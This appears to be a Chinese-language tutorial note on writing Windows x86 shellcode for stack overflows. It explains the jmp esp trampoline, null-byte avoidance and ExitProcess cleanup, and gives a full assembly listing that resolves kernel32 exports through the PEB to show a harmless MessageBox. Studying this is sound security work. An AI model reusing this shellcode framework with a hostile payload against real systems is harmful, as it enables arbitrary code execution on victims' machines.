利用xdbg工具查找的栈中shellcode起始地址,用该地址淹没返回地址,这个地址会经常发生变化,须找到一个能动态定位到shellcode起始地址的办法。
解决方法:因为执行完ret后,除了eip的值被修改了,esp的值此时能刚好存放shellcode的起始位置。因此只需要从系统调用的dll文件中找到
jmp esp
这条语句(一般格式为0x7xxxxxxx),将这条语句的位置放到返回地址,就能够以它为跳板转移到shellcode执行位置。因为jmp esp这条语句是系统调用的dll文件中的语句,因此不会轻易改变。
shellcode中存在0x00导致shellcode被截断
解决方法:因为shellcode的注入方法都是通过程序输入字符串的位置进行注入,因此如果shellcode中出现了0x00,就会导致shellcode提前被截断,这样就无法直行shellcode原本的功能。
- 可以使用xor edi,edi; push edi; 用edi来替换原本shellcode中出现的0x00,避免shellcode出现0x00
程序执行完shellcode后,不能正常退出。
解决方法:从系统调用的dll文件中找到ExitProcess函数的位置,在shellcode后面加上
mov eax, 0x7xxxxxxx; //ExitProcess push 0; call eax;
一些常用的函数的地址被写死了,例如MessageBox、ExitProcess函数
解决方法:TEB、PEB从kernel32.dll文件中找到这些函数
#include
#include
void _declspec(naked)shellCode() {
_asm {
// 1. 保存想要找的函数名的字符串
/*
LoadLibraryA: 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 长度:0xD
GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 长度:0xF
user32.dll: 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
MeesageBoxA: 4D 65 73 73 61 67 65 42 6F 78 41 00 长度:0xC
hello 51hook: 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
*/
pushad
sub esp, 0x30 // 开辟一段栈空间,增加健壮性
// hello 51hook
mov byte ptr ds : [esp - 1] , 0x0 // 因为最后多出了一个0x00,如果简单使用push的话,会造成内存的浪费,因此可以使用mov来进行单字节压栈
sub esp, 0x1
push 0x6B6F6F68
push 0x3135206F
push 0x6c6c6568
// MessageBoxA
push 0x41786f
push 0x42656761
push 0x7373654d
// user32.dll
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds : [esp - 2] , ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
// GetProcAddress
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
mov ax, 0x7373
mov word ptr ds : [esp - 2] , ax
sub esp, 0x2
push 0x65726464
push 0x41636f72
push 0x50746547
// LoadLibraryA
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx, esp
push ecx
call fun_payload
// 2.通过FS寄存器获取kernel32.dll的基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push ecx
mov esi, dword ptr fs : [0x30]//PEB地址
mov esi, [esi + 0xc]//LDR结构体地址
mov esi, [esi + 0x1c]//list
mov esi, [esi]//第二项 kernel32.dll或者kernelbase.dll的信息
mov eax, [esi + 0x8]//kernel32.dll的dllbase(该PE文件的基址)
pop ecx
mov esp, ebp
pop ebp
retn
//3.获得导出表,根据导出表查找需要的函数
fun_GetProcAddr: //该函数包含三个参数(imageBase,funName,strlen)
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp+0x8] //dllbase //第一个参数
mov esi, [edx+0x3c] //lf_anew
lea esi, [esi+edx] //NT头/PE头
mov esi, [esi+0x78] //导出表的RVA
lea esi, [edx+esi] //导出表的VA
mov edi, [esi + 0x1c]//EAT rva
lea edi, [edx + edi]//EAT va
mov[ebp - 0x4], edi // 将EAT VA存放到局部变量1中
mov edi, [esi + 0x20]//ENT rva
lea edi, [edx + edi]//ENT va
mov[ebp - 0x8], edi // 将ENT VA存放到局部变量2中
mov edi, [esi + 0x24]//EOT rva
lea edi, [edx + edi]//EOT va
mov[ebp - 0xc], edi// 将EOT VA存放到局部变量3中
//查找api esi存放导出表的ENT, edi存放需要查找的函数字符串
xor eax, eax
cld //DF清零,这样就会使得repe cmpsb这条指令逐个向后比较两个字符串的每个字符
jmp tag_begincmp
tag_cmpLoop :
inc eax//eax++
tag_begincmp :
mov esi, [ebp - 0x8]//函数名称表ENT
mov esi, [esi + eax * 4]//第一个名称,但这是RVA
mov edx, [ebp + 0x8]//dllbase
lea esi, [edx + esi]//函数名称 VA
mov edi, [ebp + 0xc]//第二个参数 要找的函数名称地址
mov ecx, [ebp + 0x10]//字符串长度
repe cmpsb
jne tag_cmpLoop
//如果相等的话,eax是数组索引
mov esi, [ebp - 0xc] //EOT
xor edi, edi
mov di, [esi + eax * 2]//word 类型,找到EOT上对应索引的值,该值等于EAT上对应字符串的索引
mov ebx, [ebp - 0x4]//EAT
mov ebx, [ebx + edi * 4]//api addr rva
mov edx, [ebp + 0x8]//dllbase
lea eax, [edx + ebx]//addr,找到了对应的函数的地址
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0xc
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x20
push ecx
push edx
push esi
push edi
// DLLBASE
call fun_GetModule
mov[ebp - 0x4], eax // dllbase,保存为第一个局部变量
//获取LoadLiabraryA
push 0xD
mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
push ecx
push eax
call fun_GetProcAddr
mov[ebp - 0x8], eax//LoadLibraryA,保存为第二个局部变量
//获取GetProcessAddr
push 0xF
mov ecx, [ebp + 0x8]//第一个参数
lea ecx, [ecx + 0xd]
push ecx
mov edx, [ebp - 0x4]
push edx
call fun_getProcAddr
mov[ebp - 0xc], eax//GetProcessAddr,保存为第三个局部变量
//调用LoadLibraryA加载user32.dll
mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
lea ecx, [ecx + 0x1c] // 之前保存的许多字符串中的user32.dll字符串
push ecx //将user32.dll字符串作为参数传入
call[ebp - 0x8]//调用LoadLibraryA函数
mov[ebp - 0x10], eax //user32.dllbase
// 调用GetProcessAddr来获取MessageBoxA的地址
mov ecx, [ebp + 0x8]
lea ecx, [ecx + 0x27] // 之前保存的许多字符串中的MessageBoxA字符串
push ecx
push[ebp - 0x10]
call[ebp - 0xc] // GetProcessAddr(user32.dllbase, MessageBoxA),结果存放在了eax中
// pyaload核心部分
push 0 // 传第四个参数
push 0 // 传第三个参数
mov ebx, [ebp + 0x8]
lea ebx, [ebx + 0x33] // hello 51hook字符串
push ebx //传第二个参数
push 0 //传第一个参数
call eax // 调用MessageBoxA
pop edi
pop esi
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}
int main() {
printf("hello qinjian");
shellCode();
return 0;
}
#include
#include
char shellcode[] = "xxx"
int main()
{
printf("51hook");
_asm
{
lea eax, shellcode
push eax
retn
}
return 0;
}
然后用xdbg来调试一下,就可以单步执行shellcode了
问题:shellcode使用很多字符串的话会占用大量的栈空间,比如上述代码中就使用了LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook这么多字符串。所以需要瘦身
一般使用hash函数对用到的字符串(例如LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook)进行压缩。